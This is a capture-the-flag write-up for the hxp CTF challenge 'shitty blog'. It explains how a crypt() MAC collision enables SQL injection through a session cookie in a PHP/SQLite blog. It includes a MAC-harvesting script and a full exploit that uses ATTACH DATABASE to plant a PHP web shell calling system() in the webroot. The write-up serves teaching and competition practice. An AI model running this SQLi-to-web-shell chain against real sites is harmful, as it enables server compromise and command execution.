Skip to main content
  1. Posts/

hxp CTF: shitty blog

Read more writeups at kitctf.de

Challenge description:

Please use my shitty blog 🀎!

We are given a docker container running php. The only notable things about it, is that there is a readflag binary on the server and that the webroot is /var/www/html.

Other than that only index.php is interesting:

<?php
// TODO: fully implement multi-user / guest feature :(

$secret = 'SECRET_PLACEHOLDER';
$salt = '$6$'.substr(hash_hmac('md5', $_SERVER['REMOTE_ADDR'], $secret), 16).'$';

if(! isset($_COOKIE['session'])){
    $id = random_int(1, PHP_INT_MAX);
    $mac = substr(crypt(hash_hmac('md5', $id, $secret, true), $salt), 20);
}
else {
    $session = explode('|', $_COOKIE['session']);
    if( ! hash_equals(crypt(hash_hmac('md5', $session[0], $secret, true), $salt), $salt.$session[1])) {
        exit();
    }
    $id = $session[0];
    $mac = $session[1];
}
setcookie('session', $id.'|'.$mac);
$sandbox = './data/'.md5($salt.'|'.$id.'|'.$mac);
if(! is_dir($sandbox)) {
    mkdir($sandbox);
}

$db = new PDO('sqlite:'.realpath($sandbox).'/blog.sqlite3');
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

$schema = "
    CREATE TABLE IF NOT EXISTS user (id INTEGER PRIMARY KEY, name VARCHAR(255));
    CREATE TABLE IF NOT EXISTS entry (id INTEGER PRIMARY KEY AUTOINCREMENT, user_id INTEGER, content TEXT);

    INSERT OR IGNORE INTO user (id, name) VALUES (0, 'System');
    INSERT OR IGNORE INTO entry (id, user_id, content) VALUES (0, 0, 'Welcome to your new blog - 🚩🚩🚩 ʕ‒́α΄₯β€’Μ€Κ”γ£πŸ€Ž 🚩🚩🚩');
";
$db->exec($schema);

function get_entries($db){
    $sth = $db->query('SELECT id, user_id, content FROM entry ORDER BY id DESC');
     return $sth->fetchAll(); 
}

function get_user($db, $user_id) : string {
    foreach($db->query("SELECT name FROM user WHERE id = {$user_id}") as $user) {
        return $user['name'];
    }
    return 'me';
}

function insert_entry($db, $content, $user_id) {
    $sth = $db->prepare('INSERT INTO entry (content, user_id) VALUES (?, ?)');
    $sth->execute([$content, $user_id]);
}

function delete_entry($db, $entry_id, $user_id) {
    $db->exec("DELETE from entry WHERE {$user_id} <> 0 AND id = {$entry_id}");
}

if(isset($_POST['content'])) {
    insert_entry($db, htmlspecialchars($_POST['content']), $id);

    header('Location: /');
    exit;
}

$entries = get_entries($db);

if(isset($_POST['delete'])) {
    foreach($entries as $key => $entry) {
        if($_POST['delete'] === $entry['id']){
            delete_entry($db, $entry['id'], $entry['user_id']);
            break;
        }
    }

    header('Location: /');
    exit;
}

foreach($entries as $key => $entry) {
    $entries[$key]['user'] = get_user($db, $entry['user_id']);
}

?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>My shitty Blog</title>
    <link rel="icon" type="image/png" href="/favicon.png"/>
  </head>
  <body>
    <h1>My shitty blog</h1>
    <form method="post">
        <textarea cols="50" rows="10" name="content"></textarea>
        <input type="submit" value="Post">
    </form>
    <?php foreach($entries as $entry):?>
        <div>
            <p><?= $entry['content'] ?></p>
            <small>By <?=  $entry['user'] ?> </small>
            <form method="post">
                <input type="hidden" name="delete" value="<?= $entry['id'] ?>">
                <input type="submit" value="Delete">
            </form>
        </div>
        <hr>
    <?php endforeach ?>

  </body>
</html>

On the first look, we notice that there are two obvious sql injections in delete_entry and get_user. Unfortunately, we do not control $entry_id, because the value is read from the database. So we are left with manipulating the user ID. The user ID is the cookie and needs to have a valid MAC (Message Authentication Code, think of it as a symmetric signature) next to it. The crypto on top looks weird and despite MD5 being used there is no obvious flaw in it, as we neither know $secret nor $salt.

The vulnerability is that crypt, which is not binary save, receives input from hash_hmac, with binary output enabled. This causes the $mac to be the same value for all IDs that have an MD5 hash starting with a zero byte. But we do not know the value yet, and there is no direct way to read it. The way to get the MAC for all β€œ0-byte IDs” is to generate a lot of new cookies and observing if there is a MAC (second part of cookie) that appears frequently, because 1 in 256 IDs should lead to the MAC we are searching for. We can do this with a simple python script. The MAC will be different for different client IPs and obviously the challenge server has a different secret from local docker.

import requests
from tqdm import tqdm

macs = []
for _ in tqdm(range(1000)):
    response = requests.get('http://65.108.176.96:8888/')
    # response = requests.get('http://127.0.0.1:8888/')
    macs.append(response.cookies['session'].split('%7C')[1])
mac_0 = max(macs,key=macs.count)
print(mac_0)

Now we need to store a RCE SQLI payload in the user ID. If you are wondering about user_id being an INTEGER in the database, SQLite has the dynamic typing β€œfeature”, that lets us write strings in there too. As we are using SQLite, the common way to achieve RCE is by creating a new database under the webroot and name it someting.php and then inserting php code.

Here is the full exploit for this. We can append letters as a comment to brute force a 0-byte MD5.

import requests
import random
import string
from urllib.parse import quote 
remote_0_mac = 'F%2FAmM%2FKSezHydQEtOQZcjI2uUiW1XszDL9d%2FvzWyAXfOstphCBPvxDZqSnA2l9iPK699dU5t9gZQuFDvxv1WY0'
local_0_mac = 'TLWrqfD78JaibaXZDEjqmGh.A4kofn6q/fpGEQD3JoY0zV8vywm/0.pjdx6qX.3tEsp71XW080H6UIQXOAYz8.'

cont = ''
payload = quote("1=1; ATTACH DATABASE '/var/www/html/data/1fec2ac0ea54318b6fa64d73dcb5837d9a9e7c5e.php' as hackz;CREATE TABLE hackz.pwn (dataz text);INSERT INTO hackz.pwn (dataz) VALUES ('<?php echo system(\"/readflag\"); ?>'); -- random_brute")
while 'html' not in cont:
    random_id = ''.join(random.choice(string.ascii_letters) for _ in range(10))
    cookies = {
        'session': payload + random_id + '%7C' + remote_0_mac
        # 'session': payload random_id + '%7C' + local_0_mac
    }
    response = requests.get('http://65.108.176.96:8888/', cookies=cookies)
    #response = requests.get('http://127.0.0.1:1080/', cookies=cookies)
    cont = response.text
print(cookies)

The exploit will give us a cookie, that we can copy, insert into the browser, delete an entry and then go to the newly created php page. Et voilΓ , the flag.

hxp{dynamically_typed_statically_typed_php_c_I_hate_you_all_equally__at_least_its_not_node_lol_:(}